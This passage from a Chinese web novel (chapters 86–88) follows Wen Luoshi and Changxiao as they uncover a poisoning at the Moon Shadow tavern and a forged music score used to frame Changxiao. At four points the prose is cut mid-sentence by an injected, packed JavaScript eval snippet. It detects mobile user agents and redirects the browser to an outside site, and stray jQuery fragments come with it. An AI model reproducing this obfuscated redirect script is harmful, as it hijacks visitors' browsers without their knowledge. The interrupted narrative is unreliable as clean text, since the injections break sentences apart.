文落诗心中冷冷一笑,睨着面前的酒楼,在门口站了一会。 而那道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196130|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光不减。 文落诗瞬间收起锐如利刃的眼神,假意自己看错了,表现出一副疑惑的神情。然后,她提裙踏入酒楼之中,找掌柜买了杯豆浆。 店小二们都在忙,她干脆直接去里面找掌柜了。 掌柜一见她是个漂亮姑娘,盈盈身姿站在面前,说话也细声细气、温温柔柔的,很是待见她。文落诗唤出一个瓷瓶子,说自己着急回家,就不坐下来喝了,麻烦把豆浆装进瓶子里。 等待豆浆的时候,她装作无意间扫视了这座酒楼。 这里与其它酒楼无差,一层是大堂,二层是雅间。大堂中客人不少,楼上的雅间据说也几乎满了。 不一会,掌柜从后厨乐呵呵地回来,把瓶子还给文落诗。文落诗打开瓶盖一闻,是她久违的熟悉味道,一时间笑靥如花,开开心心付了钱离去。 出了酒楼后,她面色如常,直奔扶桑楼,终于在进了后院的那一刻狠狠松了口气。 好险,幸好没人对她真正出手。 手里的瓶子还在冒着腾腾热气。她毫不犹豫,去了长晓的主屋。 “你这是去买豆浆了?”长晓见她来了,瞳仁中漾起笑意。 而文落诗面色严肃,开门见山道:“长晓,你有没有什么验毒的工具?” 长晓面色一顿:“出什么事了?” “我刚从外面回来,似乎是被人盯上了。一路上走到哪里,都好像有人暗中盯着我。” 长晓意识到这件事的严重性,深色也变得沉重:“怕是那人得知你与我在一起,想从你身上下手。” 文落诗来到他身边坐下,把豆浆瓶子放在桌上:“我猜就是这样。我最后路过一家酒楼,感觉很不对劲。按理说这个点,酒楼二层临街的雅间应该会开着窗户。哪怕是冬年天冷,也会开一点窗户,不然屋里木柴炭火烧着容易味道太大。就算是烧铜炉,也得通风,不然热气只增不减,容易走水。但是有一间窗户紧紧关着,里面连人影都瞧不见,像是设了结界。但是我不确定,只是我的感觉。” 多年自己生活,她基于丰富的经验,一下子看出来酒楼的不对劲。 长晓目光凛然:“落诗,你要知道,你修为算是极高的。以你现在的修为,放到整个魔界,再怎么说也能排进个前五百人之列,哪怕你没达到融雪。能让你感觉出错的人少之又少,所以,你猜的大概是对的。” 文落诗忽然被夸,冷绷着的脸顿时一松。她有些不知所措,声音不由自主地变软:“现在不是夸我的时候,以及,你不是比我厉害多了么。” 长晓笑了笑,挑眉:“你继续说,之后呢?豆浆是怎么回事?” “我假装什么也没注意到,去了酒楼里找掌柜买了瓶豆浆,顺便看看情况。掌柜看上去不像有问题的,小二们也没什么问题。宾客如常,唯独就是楼上雅间有一股气息不对,像是完全封闭住,而这间雅间,刚好是我在酒楼外注意到的那间。最有意思的是,掌柜去后厨时,恰巧有个小二模样的人从那间房里出来,也匆匆跑去后厨了。当然,这些是我悄悄施法拿意念看的,我假装没看见没抬头。随后,掌柜就给我拿来了豆浆。” 长晓盯着眼前的瓶子:“你是觉得有人在里面给你下毒了?” 文落诗点头:“我想验证一下猜想。但毕竟是偶然路过的酒楼,不在我计划之中,也有可能我完全想错了。” 86. 一曲高歌动红绸 长晓指尖微动,桌上出现一个砚台模样的物件,只不过是通体透亮的红色。 他拿起文落诗的瓶子,把豆浆倒了几滴在砚台上:“若是有毒,此物件会变成墨色。” 而奇怪的是,他与文落诗等了许久,都不见砚台变色。 “许是我猜错了,”文落诗一脸歉意,想要起身,“没准这里面真没毒……” “再等等,我总觉得,你的推断不会出错。”长晓拂袖拦住她,“有些毒不会立即显出来。陪我再坐一会。” 文落诗不再说话。而屋外的天色也全然黑下来。 忽然,长晓起身,忽然往文落诗的方向挪了几步,在她身边坐下。 “是不是吓坏了?这种明争暗斗,走在街上都会被盯上的感觉,你大概是第一次遇见。” 然后,他十分顺手帮她解下身上的斗篷。再之后,不带犹豫地把她往怀里一搂。 好像家常便饭一样,又抱住了。 文落诗反应过来的时候,自己已经在他怀里,被抱了好久。 “不是,你怎么又……” “怕你冷。刚一进屋就紧绷着,一直没放松下来,我看你手色雪白,怕是冻僵了。” 他总是这么振振有词,好像每次抱她,都有他的道理一样。 不过他倒是很有边界感,这么多次抱她,从来都是隔着衣物,无论是揽腰还是直接把胳膊拉过来,一次都没真正碰过她的身体或肌肤。大约是知道若是真的碰了她,不管是有意还是无意,她都会当场炸毛。 哦,除了泼墨森林里一起点篝火的那次,赤裸裸地扣住她手。 文落诗隐约知道这之中的一些意味不明,而且被他抱着确实暖和,就干脆摆烂,任由他抱着,不想那么多。 忽然,她脑子里一个极端的想法闪过,顿时从长晓的怀抱里惊坐起:“有没有可能,是你放的豆浆太少了?毒量不够,显不出来?” 长晓闻言,一双黑眸变得幽深,手掌迅速一挥,瓶子悬空飞起,全部豆浆都慢慢倒入了砚台之中。水流滚滚落下,砚台也在缓缓吸收所有豆浆。 直到最后一滴豆浆被吸收之时,砚台几乎是一瞬间,从透亮的红色,变为浓郁的墨色。黑得密实,令人毛骨悚然。 “果然。”文落诗冷眼看着桌上的砚台,从牙缝里挤出两个字。 长晓眸中也染上寒意,叹道:“你聪明。” “那座酒楼有问题。”文落诗不再犹豫,讲酒楼的名字和位置告诉长晓。 长晓似是没想到,略微惊讶:“猜对方藏身于何处时,我猜了很多可能,派人查了又查,但至今一无所获。我一直以为月影酒楼是哪个商贾的民间产业,不曾想竟藏得这么深。” “但是估计对方修为也不低,否则我也不至于什么都不确定,还得买个豆浆做验证。所以你要是想抓他,怕是少不了一场恶战。当下不能打草惊蛇。” “我知道,”长晓声音很是镇定,“而且,现下抓了他也没什么用。这件事目前不在于他的死活,在于民间的传言和民众的态度。” “得麻烦你去查下月影酒楼,这种事情我查不出来。至于别的,全都交给我。” “好,”长晓慵懒的声音中带着温软,把头低下来,也顺便把文落诗搂得紧了些,“今天辛苦了,晚上就别忙了。” 文落诗窝在他的脖颈处,暖暖和和的都快睡着了,一时声音迷迷糊糊的:“你再抱下去,我今晚就要睡在你这里了。松开松开,我要回去了。” “呵,“长晓轻笑一声,吐出温热的气息,“你若是真在此睡着了,我抱你回屋也未尝不可。” 文落诗听闻此言,瞬间清醒,以最快速度逃离出溺水般的怀抱。她是不会允许这种事情发生的。 不过,回屋之后躺在床上,她反倒觉得少了些什么,睡不着了。 * 后来几日,文落诗又想办法从各种渠道对虚灵的生平做了些调查,发现此事变得更加复杂。 虚灵本人,并不太聪明的样子,有时候甚至畏畏缩缩的。最重要的是,他势单力薄,背后什么依靠都没有,让他以一己之力去诬陷长晓这么一个知名人物,很容易偷鸡不成蚀把米,他不可能有这个胆量。 所以,他擅作主张去坑长晓,不太可能。文落诗十分确定,这次他是有计划地行事,而且是有人帮他。 这个帮他的人,如果她猜的没错,就是月影酒楼二层房间里的人。很可能当时虚灵和他都在场,都在观察她的举动。而她去茶楼里买豆浆的时候,那人提出要借机毒死她。 虚灵也许是个没脑子的,以为这就能轻轻松松把她除掉,但帮他的那人绝对不会这么没脑子。既然是有备而来,应当知道她与长晓在一起,也应当对她的能力有所了解,断然不会使用给她下毒这么蠢的办法。 除非是两手准备。 此毒极为不明显,昨日几滴豆浆根本不会使试毒的砚台有所反应。而当所有豆浆都倒进去,毒性立显。若是文落诗没那么聪明,傻乎乎地把豆浆全给喝了,那她直接告别这个世界,离开这场政局,倒是省事。 但若是对方明知道文落诗不会喝,说不定笃定了她会去验毒呢? 文落诗心神一凛。 那人根本不是想暗里害她,而是想明面上告诉她,他来了,甚至连他在哪里都明说了,有本事就去和他斗! 想到这里,文落诗翻了个白眼,往桌子上软塌塌地一趴。 太复杂了,这件事从一开始,就根本不是曲乐一行的私事,而是整个政局中刀枪剑影的一角。 之前在寒声城,常绫的事情像一个预示,对方只是试探,没有真正出手。而现如今,是属于直接下刀了。 偏偏她还把这件事揽到自己身上,扬言全部交给她去处理。 好烦。 既然如此,先放一放,反正不是一时半会能解决的事情。 冬年已至,窗外冷风呼啸,文落诗身上也穿了厚厚的衣服。大约坐了太久,她手脚冰凉,遂起身在屋里走了几圈,然后和当时在春庭酒楼后院干了件同样的事——把椅子搬到暖炉旁,脱了鞋,边烤脚边看卷宗。 只不过,这回她看的是扶桑楼的卷宗和账本。 想要解决这件事,就得先了解赤缇城。而了解赤缇城,当然是先从扶桑楼开始研究。 * 月影酒楼,二层雅间内。 一人拖着身上松松垮垮的绿色长袍,慢条斯理地走向窗边,勾起修长的手指,把窗户关上。 街上冷风吹起枯枝败叶,肃杀之意泛起。忽而一阵狂风卷过,吹得窗沿吱吱作响,紧张的气息流动四窜。 “风平浪静啊,”他嘴角弯起神秘的弧度,眼神中尽是不屑一顾,“看来她还不至于那么笨,起码没把自己毒死。” “我当时就说,你不该冒然去给她下毒。她一旦发现,你的藏身之处就直接败露了。”屋内端坐着另一个中年男子,眉眼昏沉,一看就是上了年纪,历经了不少沧桑。 谁料,那关窗之人“哈”一声,眼角涌起一股嗤笑般的邪意:“你以为,我害怕告诉她自己躲在哪里?若不是你在赤缇连个固定的居所都没有,我又何必至于跟你一起在这里‘躲’着?显得我怕了她一样。” 他顿了顿,继续不屑道:“光明正大告诉她我在这里,才好继续斗。虚灵,你真是傻啊。” 坐着的那人正是虚灵,此刻他目光黯淡,愁眉苦脸,不仅没因为自己重新声名鹊起而扬眉吐气,反而有些迷茫。 “那敢问归影魔君,接下来怎么安排?” 关窗之人漫步走来,忽然眉目一凛,指尖一道蓝光飞跃而出,从虚灵身前闪过,吓得虚灵身子向后一哆嗦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15224332|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而,那道光一转,最终飞向桌案上的烛台处,点燃了灯烛。 被称为归影的人幽幽开口,语气中尽是嘲笑:“都办了这么大一件事了,还是畏畏缩缩的,这么不禁吓。” 虚灵眉头一皱,不满的情绪涌起,冷声道:“你我合作而已,并无其他情谊。你当初找到我,说能帮我重新获得乐坛中一席之地,而你的目的是什么,可从来没跟我坦诚相待过。” 归影懒懒散散地在虚灵对面坐下,慢悠悠给自己斟了口茶:“你这不是都看到了吗?我的目的,就是要让长晓在世间,再无活路。” 说罢,他又招手唤来一个店小二,吩咐他给自己端盘点心。 “既如此,你的目的已经达到,为何还要节外生枝?”虚灵见他一副不正经的样子,内心很是不屑,但碍于有求于对方,不好说出来。 “节外生枝?”归影挑眉,像是来了兴致,“啧啧,你听说过凡间有种虫子,叫蚂蚱吗?” 虚灵不说话。 归影又擅自道:“凡人有句古话,说秋后的蚂蚱呀,蹦跶不了几天了。这种虫子很是可笑,总以为自己还能挣扎一番,就使劲蹦跶,却不成想天气越来越冷,最终呢,还不是死得惨烈,冻得连个尸首都不留。如今,你看咱魔界也入冬了,我这是在帮那两只蚂蚱一把,助他们早日升天。” 虚灵听他如此描述,嘴角狠狠一抽,却生生忍着,不想太过于明显。他咬牙问道:“那姑娘是谁?我这些年虽然落寞,但也无时无刻不关注着乐坛的动向。从未听过长晓有娶妻啊!” 归影又是“哈”地一声大笑。店小二刚好在这时端上一盘点心,归影摆摆手,让他退下。 “我也想知道,她到底是长晓什么人。”说罢,归影自顾自拿起一块点心,塞进嘴里,“不过呢,不管她是谁,也蹦哒不了几天了。长晓我杀不了,但是她嘛……若是碍事,就没什么活着的必要了。” 虚灵目光惊骇:“当初答应合作时,你说好了不会出人命。” 归影不屑一顾:“我承诺的,只是保证不会动长晓的性命。至于别人,我可什么都没说过。” 虚灵愤愤地看着他:“如今通过这种方式重获名声,已是我的极限,再这样下去,我良心难安。接下来你要做什么,恕我不能帮忙。” 归影连看都不看他,撇了撇嘴:“我以为,你从一开始答应我合作,就已经不要良心了呢。” 虚灵道:“我作为老一辈,确实看不上长晓这帮轻薄浮躁的年轻一辈,也就是因为这个,我才勉强答应你。现在,我倒是希望见好就收。” 归影忽然深深叹了口气,双眼一眯:“虚灵啊,跟我合作,从来就没有见好就收的道理。不斩草除根,我是不可能停手的。” 虚灵刚想反驳什么,归影根本没给他开口的机会。 “而且,你以为,你现在还能见好就收?你以为,给长晓泼完脏水,此事就能没有后续了?不存在的。据我的人透露,长晓已经开始查此事了,说不定过两天就查到你身上。你好好想想有什么经不起查的,趁早告诉我,我还能看在之前合作顺利的份上,帮你瞒一瞒。到最后,他彻底身败名裂,再无起死回生的机会,你才叫安全,我也才好回去交差。” 虚灵也逐渐意识到,这件事一旦开始就没有退路了。而他落寞多年,一切在他看来,都没有重回乐坛之巅重要。盯了归影许久,他下定决心,缓缓开口:“那还真得麻烦归影魔君,帮我再做一件事,免得长晓查出来。” 归影一脸无所谓,点点头,进而又叹一口气:“真是烦啊,在你们这些人面前,我都得跟着你们叫他长晓。搞得我每次开口前。都觉得无比别扭。” 虚灵一听这话,面色不解:“难不成,他还有别的身份?” 归影眼神中过露出戏虐:“少知道点事情,你能活得久一些。” 87. 一曲高歌动红绸 这日,文落诗端坐在桌案前,入乡随俗穿了条橘红色的衣裙,披了件暗红色外衣,手中一左一右拿着两张抄录下来的曲谱,正在认真对比着。 这是长晓派人从外面得来的,说是大街小巷都在传的“证据”,已经抄录了不知道多少份,广为流传。 文落诗越看越觉得不对劲。 虚灵的曲子,她前两日特意去麻烦扶桑楼里一个乐师姑娘给她弹奏了一遍,她今日凭借印象与手中这份抄录的谱子对比,没发现什么问题。 但长晓的那份曲谱,有问题。 文落诗之前也算半个长晓的忠实乐迷,甚至还在稀音城帮老婆婆哄孩子的时候亲口唱过《落雪歌》,故而,她把记忆中的每一个音与眼前的曲谱对照时,就发现了一个玄机。 长晓的曲谱,被人改过。 而改动得很微妙,在第一段中,是好几处分散地、偷偷地改动几个音,比如刻意宫音换成角音,把徴音换成羽音。第二段开头处也换掉了几个音,不过都是小改动。 很像是记谱之人的笔误,看上去无伤大雅。但是,这些微乎其微的改动加起来,长晓的曲子,就和虚灵的曲子,变得极为相似了。 文落诗干脆自己拿起笔和张纸,凭借印象,把长晓的曲子默了一遍。拿起来和民间流传的那张“证据”一对比,确实很难发现端倪,除非看的人是像她一样通曲乐之人,还得是认真仔细看。 她心中惊讶,竟然是这样吗? 虚灵造谣长晓抄了他的曲子,还对外故意放出了长晓曲谱的错误版本,让人们误以为从曲谱上对比,两首曲子就是十分相似。 怕的就是,民间大多数人是不通曲乐的,只会凑和一看,觉得两份谱子看起来真像,就信了虚灵的话。 文落诗越想越气,她真想会会那个给虚灵出主意的人,看看他脑子里到底装了什么邪恶的浆糊。 就在这时,一阵敲门声忽而响起。 “请进。”文落诗头也没抬,声音拉得长长的。 她以为是长晓,想着他肯定就大摇大摆进来了,也没多想。 只是这次似乎并不是。 文落诗抬头一看,发现是扶桑楼的掌柜,正端端正正站在门前。她吓了一跳:“何掌柜,你这是来找我啊?快请进,外面冷。” 何掌柜乐呵呵地进了门,老老实实站在文落诗面前,吓得文落诗赶紧把手里的谱子放下。 “文姑娘,抱歉打扰了,只是我们主子不在,有件事得麻烦姑娘。” 文落诗真是太久没听到有人这么客气地跟她说话了,心里发虚道:“何掌柜请说。” 何掌柜依旧规规矩矩地笑着:“是这样,外面楼里来个谈生意的,说下个月想在楼里办个演出。我们主子这两天一直在外面忙,早出晚归的,人家来谈生意,总不能让人家一直等到晚上。以往这种事,我都自己拿主意了,但最近情况不是特殊嘛,就想着来问问姑娘的意见。现下这个时间,这笔生意咱们还接吗?” 文落诗一头雾水:“你们主子不在我懂,谈生意我懂,最近情况特殊我也懂,但我只是来借住的,扶桑楼的事情,掌柜为何要来问我呢?” 她跟扶桑楼,半个铜钱的关系都没有啊。 何掌柜见文落诗如此发问,微微有些惊讶,转而继续笑道:“前几日我们主子吩咐了,说但凡遇到拿不定主意的大事,如果他不在的话,直接请文姑娘拿主意就行。” “啊?”文落诗几乎脱口而出,“我又不是你们东家,在这里完全是个外人,跟我有什么关系啊?” 何掌柜像是完全没想到文落诗把自己和长晓撇得这么清,有些诧异甚至不解。 “他原话就跟你们这么说的?”文落诗消化了很久,依旧觉得不可置信。 何掌柜点了点头。 他一直默认文姑娘知道此事,如今他算是明白了,这事只是自己家主子跟他们说的,文姑娘根本不知情。而且,她对于主子把这等大事交给她,似乎还很是不解,好像她真的只是个外人一样。 不至于吧?他们所有人都以为,文姑娘和他们主子早就好上了,也就是他们这几个经常来找主子的,才知道他们二人不住在同一个屋。 自从那日主子带了个姑娘回来,扶桑楼里和后院坊里所有主子手底下的人都一瞬间炸开了锅,毕竟以他们主子那个冷冷清清孤身一人多年的性格,是断然不会跟任何不相干的女子有接触的。所有人都在第一时间默认,这位是他们未来的女主人,只不过目前还没成婚而已。 而如今,文落诗看起来很懵,像是对他们私下各种八卦全然不知情。 何掌柜心中惊诧,该不会是自己家主子一厢情愿了,对方全完不知吧?那可真是太惨了点。 文落诗根本不知道何掌柜此时的脑子里已经翻天覆地运转过无数信息了,只是认真在咀嚼着他方才说的话。 “如果真要是来问我的话,我的想法是,接了这个生意,一切照常运行。因为,如果不接,反倒会让外面人起疑,觉得最近扶桑楼是不是遇上了事。毕竟,外人不知道你们东家是谁,也不知道你们和最近的事情关系如此密切。” 何掌柜听文落诗侃侃而谈,眼神变得明亮,仿佛得到了依靠:“好嘞,那我就按文姑娘说的办。” 文落诗想了想,又补了一句:“我估计你们主子跟我想法一样。” 何掌柜乐呵呵点头。 文落诗在何掌柜走后,继续研究三份全然不同的曲谱。 现在弄明白曲调是怎么回事了,那词呢? 她翻了翻近日整理出的信息,发现倒是没有这方面的论调,大概是虚灵和帮他那人都觉得改动词太过于明显,容易被发现是栽赃陷害。 不过倒是有人借此机会挑头说,长晓所写的词云里雾里,不知所云,整首词散发着为赋新词强说愁的病态气息。 不管这人是不是虚灵安排的,对此言论,文落诗内心翻了无数个白眼。 这个世界上有很多荒谬的事情。比如,一些少有情感波动的人,有意无意间为了掩饰自己的空虚,就去给别人所写出的细腻而深刻的文字起了个名,叫矫情。 写文章也是这样。所以,这些年她一直在告诉自己,这个世界上愿意且能动笔的人不多,要相信自己比别人有更丰厚的情感。或许比别人活得更累,可精神却一定更富饶。 至此,她对“证据”的分析告一段落。忙了一上午,文落诗觉得自己头晕脑胀,干脆解了衣服,去床上闭目养神躺一会。 她绝对猜不到,前楼发生了什么。 * 何掌柜得了文落诗的意见,回到楼里去招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264400|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待那商人,满面憨笑,说他上面的人很乐意接待这份生意。 他正欲带那商人去楼上雅间谈话,那商人忽而疑惑道:“何掌柜,你刚刚不是说你们主子刚好不在楼内吗?那你这准信,是从哪里来的?怕不是你装作去后院跑了一圈,擅作主张来搪塞我的?” 商人嘛,为了万无一失,多疑已经成为本性。 何掌柜心中暗道不妙,而如今扶桑楼正处水深火热之中,他又不能泄露过多。 他本想编个瞎话,说主子已经从后门回来了,但一想到万一等会主子真回来了碰上,或者出了什么岔子就不好了,显得此地无银三百两。 可是再犹豫不接话,商人必定更加起疑。 于是,在商人分毫不差的炯炯目光注视下,何掌柜心一横,表面上故作轻松道:“我们夫人在呀,夫人亲自发话说的,扶桑楼很乐意与您谈这笔生意!” 那商人一听这话,自然不再起疑,与何掌柜一起上楼洽谈。 反正他也不知道夫人是谁。 大约在这时,躺在床上快要睡着的文落诗忽然打了个喷嚏。 好奇怪,是不是屋里太冷了? 她往炭炉中又扔了几块炭,便回到床上,阖上眼睛开始午睡。 * 傍晚时分,扶桑楼里宾客尽散去。将要熄灯之时,长晓一身冷气回到扶桑楼,何掌柜立刻赶来嘘寒问暖。 长晓面色清冷,不带情绪:“我听人说,有个大商贾来谈生意?” 何掌柜立即道:“谈妥了,下个月我来安排,主子放心。” 长晓若有若无“嗯”了一声,声音中沾满风雪的气息:“我不在,你自己拿的主意?” 何掌柜早已准备好了话,此时坦然以对:“我说主子不在,让他稍等,去后院问了文姑娘。文姑娘说可以接这笔生意,一切照常运作,免得让外人起疑,以为扶桑楼近日遇上事情了。后来我就回到前楼,和他继续谈了一下午,谈妥了。” 长晓对他办事倒是极为放心,不过,一下听出了重点:“你先说我不在,后来又回来继续和他谈,他没起疑?” 何掌柜心里发虚,讪讪道:“我随便扯了个借口,说……” “把你当时的原话和我说一遍。”长晓眼睛一眯,刹那间,不怒自威。 何掌柜心中大呼救命,他已经尽力了,但什么都瞒不过自己家主子。在长晓冷淡的眼神直视下,他干脆咬咬牙道:“我和他说,我们夫人在,夫人亲自发话同意的。” 说完,他抱着赴死的心情,等待肃杀降临。 不料长晓微微一怔,转而嘴角上扬,冰冷的眼瞳中忽地涌起笑意:“干得漂亮。” 这回换作何掌柜愣住了,像是没想到主子竟是如此反应。 他犹豫着,还是开口道:“主子,文姑娘她好像并不……” “我来跟她说,你不用担心。”长晓不再停留,朝扶桑楼后门走去,绕过柜台时,又回头对何掌柜开口道,“今日辛苦了,做得好。” 目送着自己家主子回了后院,何掌柜深深松下一口气。 谁理解他那一刻有多害怕! 不过,从这时起,他是彻底知道自己家主子对文姑娘有意了。可是文姑娘怎么想呢?看她今日里清清淡淡置身事外的样子,这事怕是不太妙啊。 88. 一曲高歌动红绸 长晓回来之时,文落诗已经睡熟了。敲门不应,长晓在门外站了许久,静静回味了一番掌柜所言,满心愉悦地回到自己屋中歇下。 翌日早上,文落诗起床后又开始研读各种资料。有个楼里后厨的小伙计来问她要不要吃东西,她满心欢喜地从小伙计手里拿了两个橘子。 “哦对了,你们主子昨天回来了吗?”她顺便问了一嘴。 小伙计听她如此问,面色很是惊讶:“回来了呀!啊,他难道不跟你睡一起吗?” 文落诗两眼一黑,只觉得一股血流窜上脑门。 原来,楼里所有人都是这么看她的是吧? 后来那小伙计东看看西看看,发现文落诗在自己屋里老老实实的,而自己家主子在院里的主屋,好像两人平日里没什么交集一样。 奇怪,真奇怪,不应该啊。 小伙计心下不解,却也没多言,只是多看了文落诗几眼,最后灰溜溜地走了。 他走后,文落诗郁闷了半天。后来,把这件事抛之脑后,开始继续思考长晓的事情。 查虚灵这回滋事是被谁指使的,说容易也容易,说难也难。 她大可以直接杀去月影酒楼,扬言要见人,反正这人大概就是月影酒楼的背后东家呗。但是那样相当于把什么都暴露在明面上了。而且不知对方实力和深浅,她贸然前去,并不安全。 但是自己对着乱糟糟的资料,一点一点分析,倒也不是个好办法。她对朝堂不熟,也害怕一下子知道太多,自己承受不住这些残酷的信息。 文落诗想了半天,暂且认为此人可能与朝堂没有直接联系,只是某个政派手下的重要人物而已,又与月影酒楼相关,这次便成了背后一手推动事态发展的核心人物。 不过,弄清楚这些之后,她陷入了一个困境。 即使知道了这人是谁,又能怎么向所有民众证明是他在挑事呢? 说虚灵背后有人指使,那大多数人肯定是不信的。曲乐一行啊!跟朝堂八杆子打不着,谁会相信这件事这么复杂。 说虚灵的证据造假,哪怕她写长篇大论的文章,做无数场宣讲去澄清,大多数人也根本不会在意,或者根本懒得看。他们会直接大喊着“我哪里需要懂这些复杂的,我有耳朵不就行了?我听着就是觉得两首曲子很像!” 所以,这件事从正面出发去对抗,大概不可能。也就是说,若是解决这件事,就不能只“就事论事”,需要跳出这件事之外,另想办法。 这大概就叫作毫无尽头的你来我往的斗争,而文落诗现在做的这件事,就叫谋。 真是她这辈子里迄今为止,遇见过的最复杂、最伤脑筋的一件事。 正巧这时,有人轻轻叩响木门。 文落诗一股脑站起来,也不管来的是谁,想借这个机会冲到门口透透气。 结果就是,第不知多少次,她差点一头撞到长晓身上。 长晓见她蓬头垢面、目光因劳累过度而显得涣散,虽然模样看上去很是好笑,但他由不得心中一紧。几乎是顺势而为,他将面前的姑娘揽入怀中。 “怎么我几天不来,就把自己累成这样?”他语气中带着心疼,“一帮宵小之辈,怎么值得让你这么累?” 文落诗也不知道为何,见了他就觉得放松下来,头脑一瞬间进入休息状态,不再像方才那样精神紧张了。她靠着长晓的胸脯,在他怀里蹭了蹭,把眼睛闭上,狠狠舒出一口气。 “他们不值得,但是你值得呀!”文落诗迷迷糊糊的,甚至不知道脱口而出的是什么,“你可是我见过的最最最好的人了,我不对你好,对谁好呀?” 她说完很久,都没意识到自己有多语出惊人,只觉得被抱着暖暖乎乎的,要睡过去了。 长晓怔怔地,实打实被她说出的每个字都震惊到,抱着她的手臂一僵。他直愣愣地低头看着她,好像第一次见她如此娇软模样,听她如此衷肠诉说。 “啊,”突然一瞬间,文落诗乍起,眼神躲闪,声音发虚,“我刚刚说什么了?我刚刚什么都没说,什么都没说。” 她刚刚,似乎,一不小心,把心里话说出来了。 长晓见她如此反应,又恢复了她平常那种把情绪藏好、缄默不言的状态,一时失笑:“好,你什么都没说,我也什么都没听见。先进屋,外面冷。” 不过进屋之时,长晓心里别提有多高兴了。 云涯说得果然没错。这个姑娘只是一直嘴上不说,或者之前没太意识到,但她内心绝对是对自己有那么点意思的。现在呢?这么多天下来,大概是有些意识到自己的感情了吧! 而且她不小心说漏嘴之后,急忙掩饰,更加证明她心里实则早就有自己了。 好事,这对他来说,是天大的好事。 文落诗回到木椅上坐下,内心虚到极致了。她觉得,刚刚自己怕是真累糊涂了。一想到自己刚刚说了什么,就觉得毛骨悚然,坐立难安。她巴不得给自己和长晓都下个抹除记忆的咒,把刚刚的事情忘了。 太尴尬了,真的太尴尬了。 不过,长晓看上去面色如常,云淡风轻,不像是过多在意的样子。 幸好,幸好,他似乎没细想。 “想什么呢?一直看着我。”长晓在她身边坐下,给她顺手倒了杯水,“喝水。冬天不喝水,鼻子会干到出血的。” 文落诗恍恍惚惚接过瓷杯,抿了口水,一时有些不敢再看他。 长晓见她如此模样,只是笑意更深:“我查出来点东西,要听吗?” “要!” 文落诗瞬间抛掉了刚刚发生的所有,只觉得自己事业脑突然回归,一听到正事,立马清醒。 “月影酒楼的东家叫归影,目前实力在融雪之上。你当时说觉得有人在盯着你,但是你不确定,大概是因为对方实力略微在你之上。” 文落诗道:“他要是融雪之人,我肯定不如他。” “不一定,”长晓道,“融雪更多是靠机缘带来的心境提升,虽然大部分融雪之人的实力确实远在五道之上,但这并非一个严格的等级划分。像你这种实力,即使没进融雪,也说不定与归影不相上下。不然你感知不到他的存在。” 文落诗心里回答了一句,哦,但是你这种融雪之人,就并非我能比的了是吧?所以你每回敲门,我都感应不到。 像是看出来她在腹诽什么,长晓绽开笑容,轻轻提起手指,弹了一下她的脑门。 “据粗略统计,目前达到融雪之境的有大约千人,但我之前说过,以你现在的修为,放到整个魔界,至少是前五百人之列,这还是至少,保守一点估计的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272702|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “又哄我。”文落诗虽然心里暖融融的,喜欢听长晓夸自己,但是她表面上说什么也不会展示出来的。 “你太要强了,永远都在往上看、往上去比,这样太累了。有时候低下头来看看,你已经在很多人之上了。” 倒也是,文落诗心想。 “好了,话说回来,所以你的意思是,归影这个人,我拼尽全力或许能打得过?” “其实不是这个意思。不到最后一步,用不着和他交手。让他输得惨烈就够了,没必要真的和他见面去打。”长晓温声道。 “懂了,跟我想的差不多,”文落诗把胳膊肘往桌案上一支,懒洋洋歪着头,“还有什么别的消息吗?” “他虽是东家,但是基本上不管酒楼,也不常来赤缇。归影常年在融雪城内给……嗯,给他上面的人办事。” 文落诗眉毛一挑。 长晓轻咳一声,继续道:“但是楼里上上下下,基本都是他手下的人。换句话说,他一句命令,让把什么谣言传出去,手下的人言听计从。” 文落诗思考道:“所以,那日房间里出来一个店小二,以及掌柜给我在豆浆里下毒,就都解释得通了。我还一直在想,是掌柜迫于压力给我下毒,还是他本身就是归影的人。现在看来是后者。” 长晓颔首,又说了些关于归影的琐碎事情,包括他的招数套路,以及他的行事风格。 文落诗一一点头:“好,多谢你。还有什么别的事情吗?” 